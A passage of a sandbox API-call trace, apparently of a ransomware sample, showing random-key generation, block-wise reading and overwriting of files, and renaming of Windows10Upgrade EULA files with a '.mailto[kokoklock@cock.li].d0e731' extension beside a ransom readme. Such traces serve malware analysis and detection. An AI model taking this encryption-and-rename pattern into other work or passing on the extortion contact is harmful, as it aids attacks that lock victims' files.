Flags=0x8, Size=0x20) returned 0x3491790 [0080.454] NtQuerySystemTime (in: CurrentTime=0x2473fa6c | out: CurrentTime=0x2473fa6c*=132121176383497285) returned 0x0 [0080.454] RtlRandom (in: Seed=0x2473fa78 | out: Seed=0x2473fa78) returned 0x2133144a [0080.454] RtlRandom (in: Seed=0x2473fa78 | out: Seed=0x2473fa78) returned 0xbd191fab [0080.454] RtlRandom (in: Seed=0x2473fa78 | out: Seed=0x2473fa78) returned 0x3e6a0800 [0080.455] RtlRandom (in: Seed=0x2473fa78 | out: Seed=0x2473fa78) returned 0xf7b0f63 [0080.455] RtlRandom (in: Seed=0x2473fa78 | out: Seed=0x2473fa78) returned 0xbf1e23da [0080.455] RtlRandom (in: Seed=0x2473fa78 | out: Seed=0x2473fa78) returned 0x897cb0e4 [0080.455] RtlRandom (in: Seed=0x2473fa78 | out: Seed=0x2473fa78) returned 0xd22ea060 [0080.455] RtlRandom (in: Seed=0x2473fa78 | out: Seed=0x2473fa78) returned 0x3b9658a5 [0080.455] RtlRandom (in: Seed=0x2473fa78 | out: Seed=0x2473fa78) returned 0x3fb111f3 [0080.455] RtlRandom (in: Seed=0x2473fa78 | out: Seed=0x2473fa78) returned 0x7441bb83 [0080.455] RtlRandom (in: Seed=0x2473fa78 | out: Seed=0x2473fa78) returned 0xc050c2b6 [0080.455] RtlRandom (in: Seed=0x2473fa78 | out: Seed=0x2473fa78) returned 0x4083fa17 [0080.455] RtlRandom (in: Seed=0x2473fa78 | out: Seed=0x2473fa78) returned 0xd60b4e05 [0080.455] RtlRandom (in: Seed=0x2473fa78 | out: Seed=0x2473fa78) returned 0x11af70d3 [0080.455] RtlRandom (in: Seed=0x2473fa78 | out: Seed=0x2473fa78) returned 0xfc1f3a74 [0080.455] RtlRandom (in: Seed=0x2473fa78 | out: Seed=0x2473fa78) returned 0x1a2519b4 [0080.455] RtlRandom (in: Seed=0x2473fa78 | out: Seed=0x2473fa78) returned 0xf362bb8 [0080.455] RtlRandom (in: Seed=0x2473fa78 | out: Seed=0x2473fa78) returned 0xb4c9b57f [0080.455] RtlRandom (in: Seed=0x2473fa78 | out: Seed=0x2473fa78) returned 0x34b7d6a9 [0080.455] RtlRandom (in: Seed=0x2473fa78 | out: Seed=0x2473fa78) returned 0x3cac70c7 [0080.455] RtlRandom (in: Seed=0x2473fa78 | out: Seed=0x2473fa78) returned 0x61e5f825 [0080.455] RtlRandom (in: Seed=0x2473fa78 | out: Seed=0x2473fa78) returned 0x1d13d08d [0080.455] RtlRandom (in: Seed=0x2473fa78 | out: Seed=0x2473fa78) returned 0xab3ae66b [0080.455] RtlRandom (in: Seed=0x2473fa78 | out: Seed=0x2473fa78) returned 0xbd3546a4 [0080.455] RtlRandom (in: Seed=0x2473fa78 | out: Seed=0x2473fa78) returned 0x341788b1 [0080.455] RtlRandom (in: Seed=0x2473fa78 | out: Seed=0x2473fa78) returned 0xe723ca3b [0080.455] RtlRandom (in: Seed=0x2473fa78 | out: Seed=0x2473fa78) returned 0xfe5958b5 [0080.455] RtlRandom (in: Seed=0x2473fa78 | out: Seed=0x2473fa78) returned 0x39fc789a [0080.455] RtlRandom (in: Seed=0x2473fa78 | out: Seed=0x2473fa78) returned 0x8a5ee40e [0080.455] RtlRandom (in: Seed=0x2473fa78 | out: Seed=0x2473fa78) returned 0x5fb58cbe [0080.455] RtlRandom (in: Seed=0x2473fa78 | out: Seed=0x2473fa78) returned 0x1953ac56 [0080.455] RtlRandom (in: Seed=0x2473fa78 | out: Seed=0x2473fa78) returned 0x57f4b1c1 [0080.467] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480048) returned 1 [0080.467] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491628) returned 1 [0080.467] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0080.467] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.467] ReadFile (in: hFile=0x454, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x2473fa2c, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x2473fa2c*=0x4096, lpOverlapped=0x0) returned 1 [0080.468] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.468] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd310 [0080.468] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480408 [0080.468] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34913f8 [0080.468] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34913f8) returned 1 [0080.468] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34a2370 [0080.469] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491628 [0080.469] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491498 [0080.469] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491498) returned 1 [0080.469] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0080.469] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd310) returned 1 [0080.469] WriteFile (in: hFile=0x454, lpBuffer=0x34a2370*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x2473fa2c, lpOverlapped=0x0 | out: lpBuffer=0x34a2370*, lpNumberOfBytesWritten=0x2473fa2c*=0x4096, lpOverlapped=0x0) returned 1 [0080.469] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34a2370) returned 1 [0080.469] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x1c41a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.469] ReadFile (in: hFile=0x454, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x2473fa2c, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x2473fa2c*=0x4096, lpOverlapped=0x0) returned 1 [0080.470] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x1c41a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.470] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd358 [0080.470] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480570 [0080.470] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34917e0 [0080.470] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34917e0) returned 1 [0080.470] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34a2370 [0080.470] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34917e0 [0080.470] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491498 [0080.470] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491498) returned 1 [0080.470] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480570) returned 1 [0080.470] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd358) returned 1 [0080.470] WriteFile (in: hFile=0x454, lpBuffer=0x34a2370*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x2473fa2c, lpOverlapped=0x0 | out: lpBuffer=0x34a2370*, lpNumberOfBytesWritten=0x2473fa2c*=0x4096, lpOverlapped=0x0) returned 1 [0080.471] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34a2370) returned 1 [0080.471] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x2f4b8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.471] ReadFile (in: hFile=0x454, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x2473fa2c, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x2473fa2c*=0x4096, lpOverlapped=0x0) returned 1 [0080.471] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x2f4b8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.471] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd508 [0080.472] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480408 [0080.472] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491498 [0080.472] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491498) returned 1 [0080.473] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34a2370 [0080.473] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491498 [0080.473] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491330 [0080.473] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491330) returned 1 [0080.473] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0080.473] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd508) returned 1 [0080.473] WriteFile (in: hFile=0x454, lpBuffer=0x34a2370*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x2473fa2c, lpOverlapped=0x0 | out: lpBuffer=0x34a2370*, lpNumberOfBytesWritten=0x2473fa2c*=0x4096, lpOverlapped=0x0) returned 1 [0080.473] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34a2370) returned 1 [0080.473] WriteFile (in: hFile=0x454, lpBuffer=0x3491628*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2473fa88, lpOverlapped=0x0 | out: lpBuffer=0x3491628*, lpNumberOfBytesWritten=0x2473fa88*=0x20, lpOverlapped=0x0) returned 1 [0080.473] WriteFile (in: hFile=0x454, lpBuffer=0x34917e0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2473fa88, lpOverlapped=0x0 | out: lpBuffer=0x34917e0*, lpNumberOfBytesWritten=0x2473fa88*=0x20, lpOverlapped=0x0) returned 1 [0080.473] WriteFile (in: hFile=0x454, lpBuffer=0x3491498*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2473fa88, lpOverlapped=0x0 | out: lpBuffer=0x3491498*, lpNumberOfBytesWritten=0x2473fa88*=0x20, lpOverlapped=0x0) returned 1 [0080.473] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0080.473] WriteFile (in: hFile=0x454, lpBuffer=0x34917b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2473fa90, lpOverlapped=0x0 | out: lpBuffer=0x34917b8*, lpNumberOfBytesWritten=0x2473fa90*=0x8, lpOverlapped=0x0) returned 1 [0080.474] WriteFile (in: hFile=0x454, lpBuffer=0x2473faa8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2473fa90, lpOverlapped=0x0 | out: lpBuffer=0x2473faa8*, lpNumberOfBytesWritten=0x2473fa90*=0x4, lpOverlapped=0x0) returned 1 [0080.474] WriteFile (in: hFile=0x454, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2473fa90, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2473fa90*=0x4, lpOverlapped=0x0) returned 1 [0080.474] WriteFile (in: hFile=0x454, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2473fa90, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2473fa90*=0x6c, lpOverlapped=0x0) returned 1 [0080.474] WriteFile (in: hFile=0x454, lpBuffer=0x34916c8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2473fa90, lpOverlapped=0x0 | out: lpBuffer=0x34916c8*, lpNumberOfBytesWritten=0x2473fa90*=0x20, lpOverlapped=0x0) returned 1 [0080.474] WriteFile (in: hFile=0x454, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2473fa90, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2473fa90*=0x4, lpOverlapped=0x0) returned 1 [0080.474] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34916c8) returned 1 [0080.475] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491448) returned 1 [0080.475] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34917b8) returned 1 [0080.475] CloseHandle (hObject=0x454) returned 1 [0080.475] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xac) returned 0x3428080 [0080.475] wcscpy (in: _Dest=0x3428080, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ja-jp.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ja-jp.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ja-jp.htm" [0080.475] wcscat (in: _Dest=0x3428080, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ja-jp.htm.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ja-jp.htm.mailto[kokoklock@cock.li].d0e731" [0080.475] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ja-jp.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_ja-jp.htm"), lpNewFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ja-jp.htm.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_ja-jp.htm.mailto[kokoklock@cock.li].d0e731")) returned 1 [0080.476] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ja-jp.htm.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0080.476] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3428080) returned 1 [0080.476] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ja-jp.htm", dwFileAttributes=0x20) returned 0 [0080.476] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x72) returned 0x33cd5f0 [0080.476] wcscpy (in: _Dest=0x33cd5f0, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" [0080.476] wcscat (in: _Dest=0x33cd5f0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\D0E731-Readme.txt") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\D0E731-Readme.txt" [0080.476] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\D0E731-Readme.txt" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\d0e731-readme.txt")) returned 0x20 [0080.476] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cd5f0) returned 1 [0080.476] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34806d8) returned 1 [0080.476] RtlExitUserThread (Status=0x1) Thread: id = 1013 os_tid = 0x16d8 [0080.469] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ko-kr.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_ko-kr.htm")) returned 0x20 [0080.477] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ko-kr.htm", dwFileAttributes=0x20) returned 1 [0080.477] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ko-kr.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_ko-kr.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0080.478] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x247bfd30 | out: lpFileSize=0x247bfd30*=634083) returned 1 [0080.478] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x9acdf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.478] ReadFile (in: hFile=0x454, lpBuffer=0x247bfd04, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x247bfd00, lpOverlapped=0x0 | out: lpBuffer=0x247bfd04*, lpNumberOfBytesRead=0x247bfd00*=0x4, lpOverlapped=0x0) returned 1 [0080.479] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.479] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34916c8 [0080.479] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34917b8 [0080.479] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491308 [0080.479] NtQuerySystemTime (in: CurrentTime=0x247bfcdc | out: CurrentTime=0x247bfcdc*=132121176383653661) returned 0x0 [0080.479] RtlRandom (in: Seed=0x247bfce8 | out: Seed=0x247bfce8) returned 0x8ab0cab8 [0080.479] RtlRandom (in: Seed=0x247bfce8 | out: Seed=0x247bfce8) returned 0xae13e73e [0080.479] RtlRandom (in: Seed=0x247bfce8 | out: Seed=0x247bfce8) returned 0xc7467ed2 [0080.479] RtlRandom (in: Seed=0x247bfce8 | out: Seed=0x247bfce8) returned 0x8ffb87b2 [0080.480] RtlRandom (in: Seed=0x247bfce8 | out: Seed=0x247bfce8) returned 0xd6a1ec2f [0080.480] RtlRandom (in: Seed=0x247bfce8 | out: Seed=0x247bfce8) returned 0x4781ebb5 [0080.480] RtlRandom (in: Seed=0x247bfce8 | out: Seed=0x247bfce8) returned 0x66fce57c [0080.480] RtlRandom (in: Seed=0x247bfce8 | out: Seed=0x247bfce8) returned 0x369645ac [0080.480] RtlRandom (in: Seed=0x247bfce8 | out: Seed=0x247bfce8) returned 0x963a22f8 [0080.480] RtlRandom (in: Seed=0x247bfce8 | out: Seed=0x247bfce8) returned 0x86aa4517 [0080.480] RtlRandom (in: Seed=0x247bfce8 | out: Seed=0x247bfce8) returned 0x5c0bf8ae [0080.480] RtlRandom (in: Seed=0x247bfce8 | out: Seed=0x247bfce8) returned 0xe24bab8e [0080.480] RtlRandom (in: Seed=0x247bfce8 | out: Seed=0x247bfce8) returned 0x76c14d85 [0080.480] RtlRandom (in: Seed=0x247bfce8 | out: Seed=0x247bfce8) returned 0xd6481d2e [0080.480] RtlRandom (in: Seed=0x247bfce8 | out: Seed=0x247bfce8) returned 0x94fbea1b [0080.480] RtlRandom (in: Seed=0x247bfce8 | out: Seed=0x247bfce8) returned 0x7905218a [0080.480] RtlRandom (in: Seed=0x247bfce8 | out: Seed=0x247bfce8) returned 0xa9e6f5b1 [0080.480] RtlRandom (in: Seed=0x247bfce8 | out: Seed=0x247bfce8) returned 0x668cafcf [0080.480] RtlRandom (in: Seed=0x247bfce8 | out: Seed=0x247bfce8) returned 0x9ab058b3 [0080.480] RtlRandom (in: Seed=0x247bfce8 | out: Seed=0x247bfce8) returned 0x5f9e50ea [0080.480] RtlRandom (in: Seed=0x247bfce8 | out: Seed=0x247bfce8) returned 0x85ba4073 [0080.480] RtlRandom (in: Seed=0x247bfce8 | out: Seed=0x247bfce8) returned 0x3a8efb33 [0080.480] RtlRandom (in: Seed=0x247bfce8 | out: Seed=0x247bfce8) returned 0x23b5bbd5 [0080.480] RtlRandom (in: Seed=0x247bfce8 | out: Seed=0x247bfce8) returned 0x45b4b6bb [0080.480] RtlRandom (in: Seed=0x247bfce8 | out: Seed=0x247bfce8) returned 0xffa72170 [0080.480] RtlRandom (in: Seed=0x247bfce8 | out: Seed=0x247bfce8) returned 0x1acb2b66 [0080.480] RtlRandom (in: Seed=0x247bfce8 | out: Seed=0x247bfce8) returned 0xcda0f673 [0080.480] RtlRandom (in: Seed=0x247bfce8 | out: Seed=0x247bfce8) returned 0xee188bf4 [0080.480] RtlRandom (in: Seed=0x247bfce8 | out: Seed=0x247bfce8) returned 0x39204391 [0080.481] RtlRandom (in: Seed=0x247bfce8 | out: Seed=0x247bfce8) returned 0x82acf60a [0080.481] RtlRandom (in: Seed=0x247bfce8 | out: Seed=0x247bfce8) returned 0xd172de7d [0080.481] RtlRandom (in: Seed=0x247bfce8 | out: Seed=0x247bfce8) returned 0x50808f67 [0080.491] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480048) returned 1 [0080.492] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34916c8) returned 1 [0080.492] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0080.492] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.492] ReadFile (in: hFile=0x454, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x247bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x247bfc9c*=0x4096, lpOverlapped=0x0) returned 1 [0080.493] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.493] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd310 [0080.493] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480408 [0080.493] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34913f8 [0080.493] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34913f8) returned 1 [0080.494] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34a2370 [0080.494] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34916c8 [0080.494] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34914c0 [0080.494] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34914c0) returned 1 [0080.494] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0080.494] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd310) returned 1 [0080.494] WriteFile (in: hFile=0x454, lpBuffer=0x34a2370*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x247bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x34a2370*, lpNumberOfBytesWritten=0x247bfc9c*=0x4096, lpOverlapped=0x0) returned 1 [0080.494] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34a2370) returned 1 [0080.494] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x50bb8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.494] ReadFile (in: hFile=0x454, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x247bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x247bfc9c*=0x4096, lpOverlapped=0x0) returned 1 [0080.496] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x50bb8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.496] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd358 [0080.496] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480570 [0080.496] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491358 [0080.496] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491358) returned 1 [0080.496] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34a2370 [0080.497] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491358 [0080.497] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34914c0 [0080.497] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34914c0) returned 1 [0080.497] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480570) returned 1 [0080.497] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd358) returned 1 [0080.497] WriteFile (in: hFile=0x454, lpBuffer=0x34a2370*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x247bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x34a2370*, lpNumberOfBytesWritten=0x247bfc9c*=0x4096, lpOverlapped=0x0) returned 1 [0080.497] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34a2370) returned 1 [0080.497] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x96c4d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.497] ReadFile (in: hFile=0x454, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x247bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x247bfc9c*=0x4096, lpOverlapped=0x0) returned 1 [0080.498] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x96c4d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.498] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd508 [0080.498] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480408 [0080.498] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34914c0 [0080.498] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34914c0) returned 1 [0080.498] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34a2370 [0080.498] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34914c0 [0080.498] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491380 [0080.498] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491380) returned 1 [0080.499] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0080.499] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd508) returned 1 [0080.499] WriteFile (in: hFile=0x454, lpBuffer=0x34a2370*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x247bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x34a2370*, lpNumberOfBytesWritten=0x247bfc9c*=0x4096, lpOverlapped=0x0) returned 1 [0080.499] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34a2370) returned 1 [0080.499] WriteFile (in: hFile=0x454, lpBuffer=0x34916c8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x247bfcf8, lpOverlapped=0x0 | out: lpBuffer=0x34916c8*, lpNumberOfBytesWritten=0x247bfcf8*=0x20, lpOverlapped=0x0) returned 1 [0080.499] WriteFile (in: hFile=0x454, lpBuffer=0x3491358*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x247bfcf8, lpOverlapped=0x0 | out: lpBuffer=0x3491358*, lpNumberOfBytesWritten=0x247bfcf8*=0x20, lpOverlapped=0x0) returned 1 [0080.499] WriteFile (in: hFile=0x454, lpBuffer=0x34914c0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x247bfcf8, lpOverlapped=0x0 | out: 